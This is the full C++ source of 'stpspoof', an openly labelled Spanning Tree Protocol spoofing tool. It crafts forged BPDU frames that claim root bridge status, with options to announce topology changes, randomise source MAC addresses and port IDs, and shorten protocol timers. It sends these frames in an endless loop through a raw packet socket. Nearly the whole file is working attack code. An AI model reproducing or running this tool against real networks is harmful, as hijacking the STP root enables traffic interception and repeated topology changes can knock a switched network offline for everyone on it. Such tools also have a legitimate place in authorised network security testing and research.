/***************************************************************************
 *  stp.cc : This file is part of 'stpspoof'
 *
 *  (c) 2004,2005 by Lukasz Tomicki <tomicki@o2.pl>
 *	
 ****************************************************************************/

/*
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU Library General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
#include <stdio.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <asm/types.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <stdlib.h>

typedef unsigned char byte;
typedef byte u8;
typedef unsigned short int u16;
typedef unsigned int u32;

char *alloc_copy(const char *str, uint extra = 0)
{
	if (!str)
		return 0;

	uint size(strlen(str));

	if (!size)
		return 0;

	char *new_alloc = new char[size + 1 + extra];

	if (!new_alloc)
		return 0;

	memset(new_alloc, 0, size + 1 + extra);
	strncpy(new_alloc, str, size);

	return (new_alloc);
}

struct ether_header
{
	u8  	dhost[6]; 	// destination hdwaddr should be 01-80-C2-00-00-00
	u8  	shost[6];   	// = 0x0000 for our purposes
	u16 	size;       	// = 52  for our purposes
} __attribute__ ((packed));

struct llc_header {
	u8 dsap; 	// = 0x42 for our purposes
	u8 ssap; 	// = 0x42 for our purposes
	u8 func; 	// = 0x03 for our purposes
} __attribute__ ((packed));

struct stp_header {
	struct 	llc_header llc;
	u16 	type; 				// = 0x0000  for our purposes
	u8	version; 			// = 0x00  for our purposes
	u8	config; 			// = 0x00  for our purposes
	u8	flags; 				// = 0x00  for our purposes
	
	union {
		u8    root_id[8];	
		struct {
			u16	root_priority; 		// 32768 by default (0x8000 in network order)
			u8    	root_hdwaddr[6]; 	// can be almost anything
		} root_data;
	};
	u32	root_path_cost; 	// = 0x00  for our purposes
	
	union {
		u8    bridge_id[8];	
		struct {
			u16	bridge_priority; 		// 32768 by default (0x8000 in network order)
			u8    	bridge_hdwaddr[6]; 	// can be almost anything
		} bridge_data;
	};
	
	u16 	port_id; 			// = 0x8002  for our purposes
	u16 	message_age; 		// = 0x0000  for our purposes
	u16 	max_age; 			// = 0x0001  for our purposes
	u16 	hello_time; 		// = 0x0001  for our purposes
	u16 	forward_delay; 		// = 0x0001  for our purposes
} __attribute__ ((packed));

typedef struct {
	struct ether_header eth;
	struct stp_header stp;
} eth_stp;

u16 atohex (u8 *hex)
{
	short int x,y,a,a2=0;
	char buf[2];

	char nums[] = {"0123456789abcdef"};

	memcpy(buf, hex, 2);	
	for (int x(0); x < 2; ++x) {
	    for (int y(0); y < 16; ++y) {
			if (buf[x] == nums[y]) {
	            if (x == 0) 
					a = (y) * 16;   
		    	else 
					a = y;
	            a2 +=a;
	   		}
	    }
	}
	return a2;
}
	    
u8 *ascii_to_hwaddr (const char *hwaddr)
{
	u8 t[2];
	u8 y(0);
	static u8 buf[6];
	do {     
	    t[0] = *hwaddr++;	
	    t[1] = *hwaddr++;
	    hwaddr++;
	    buf[y] = atohex (t);
	    y++;
	} while (y < 6);
	
	return (buf);
}

const char *fill_stp_header(char *shwaddr, bool topology_change, char *root_id, 
	u32 forward_delay = 0x000f, u32 max_age = 0x000f, u32 hello_time = 0x0001, 
	u32 port_id = 0x0280)
{
	static eth_stp stp_packet;

	memset(&stp_packet, 0, sizeof(stp_packet));
	memcpy (stp_packet.eth.dhost, ascii_to_hwaddr("01-80-c2-00-00-00"), 6);
	memcpy (stp_packet.eth.shost, shwaddr, 6);  
    	stp_packet.eth.size = htons(0x0034);

	stp_packet.stp.llc.dsap = 0x42;
	stp_packet.stp.llc.ssap = 0x42;
	stp_packet.stp.llc.func = 0x03;
	
	memcpy(stp_packet.stp.root_id, root_id, 8);
	memcpy(stp_packet.stp.bridge_id, root_id, 8);
	
	stp_packet.stp.port_id = port_id;
	stp_packet.stp.hello_time = hello_time;
	stp_packet.stp.max_age = max_age;
	stp_packet.stp.forward_delay = forward_delay;
	if (topology_change)
		stp_packet.stp.flags = 0x01;
	
	return (const char*) &stp_packet;
}

void make_rand_hwaddr(char *buf)
{
	for (int i(0); i < 6; ++i)
		buf[i] = rand() % 256;
}

int initialise_network_int(const char *name, int protocol)
{
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(protocol));
    
	if (sockfd == -1) {
		perror("Unable to create socket: %s");
		return sockfd;
	}
	
	ifreq ifr;
		
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, name, strlen(name));
	
	if (ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1) {
		perror("Unable to get interface index: %s");
		return -1;
	}

    sockaddr_ll sll;
		
	memset(&sll, 0, sizeof(sll));
    sll.sll_family = AF_PACKET;
    sll.sll_ifindex = ifr.ifr_ifindex;
    sll.sll_protocol = htons(protocol);
	
	if (bind(sockfd, (sockaddr*) &sll, sizeof(sll)) == -1) {
		perror("Unable to bind socket: %s");
		return -1;
	}
	
	return sockfd;
}

int main(int argc, char **argv)
{
	char *interface_name = 0;
	bool topology_change(false);
	u32 sleep_delay(1000000);
	bool rand_mac_source(false);
	bool rand_port_id(false);
	u32 hello_time(1);
	u32 max_age(2);
	u32 forward_delay(15);
	
        if (argc == 1) {
	   	puts("stpspoof - a spanning tree protocol spoofer v0.2");
		puts("(c) 2004,2005 by Lukasz Tomicki <tomicki@o2.pl>");
		puts("  usage: stpspoof <interface>");
		puts("  options:");
		puts("    -d <delay between packets> (default: 1s)");
		puts("    -t announce a topology change (default: no)");
		puts("    -p randomize port IDs (default: 0x0280)");
		puts("    -r randomize source MAC addresses (default: no)");
		puts("    -h hello time (default: 1s)");
		puts("    -m max age (default: 2s)");
		puts("    -f forward delay (default: 15s)");

	   return 0;
	}
	
	srand(getpid());
	interface_name = alloc_copy(argv[1]);
	float tmp;
	
	if (argc > 2) {
		char c;
		while ((c = getopt(argc, argv, "td:rph:m:f:")) != -1) {
			switch (c) {
				case 't':
					topology_change = true;
				break;
				
				case 'r':
					rand_mac_source = true;
				break;
				
				case 'p':
					rand_port_id = true;
				break;
				
				case 'd':
					sscanf(optarg, "%f", &tmp);
					sleep_delay = tmp * 1000000;
				break;
				
				case 'h':
					hello_time = atoi(optarg);
				break;
				
				case 'm':
					max_age = atoi(optarg);
				break;
				
				case 'f':
					forward_delay = atoi(optarg);
				break;
			}
		}
	}

	
	ifreq ifr;
	
	int tmpfd = socket (AF_INET, SOCK_DGRAM, 0);

	strncpy (ifr.ifr_name, interface_name, strlen(interface_name));
	ioctl (tmpfd, SIOCGIFHWADDR, &ifr);                // get interface addr
	close (tmpfd);
	
	int x = sizeof(sockaddr_ll);
	
	char shwaddr[8];
	shwaddr[0] = 0x00;
	shwaddr[1] = 0x01;
	
	if (!rand_mac_source)
		memcpy(shwaddr + 2, ifr.ifr_hwaddr.sa_data, 6);

	int fd = initialise_network_int(interface_name, ETH_P_ALL);
	if (fd == -1) {
		perror("socket:");
		return 0;
	}
	
	u32 port_id(0x0280);
	
        while (true) {
       		if (rand_mac_source)
        		make_rand_hwaddr(shwaddr + 2);

              	if (rand_port_id)
              		port_id = rand() % 0xFFFF;
        	
		const char *buf = fill_stp_header(shwaddr + 2, topology_change, shwaddr,
			forward_delay, max_age, hello_time, port_id);
			
		if (write(fd, buf, sizeof(eth_stp)) == -1) {
	   		perror("write:");
			return 0;
		}
		usleep(sleep_delay);
	}
	
	/* cleanup time */
	
	close(fd);
	if (interface_name != 0) {
		delete [] interface_name;
		interface_name = 0;
	}
	
	return 0;
}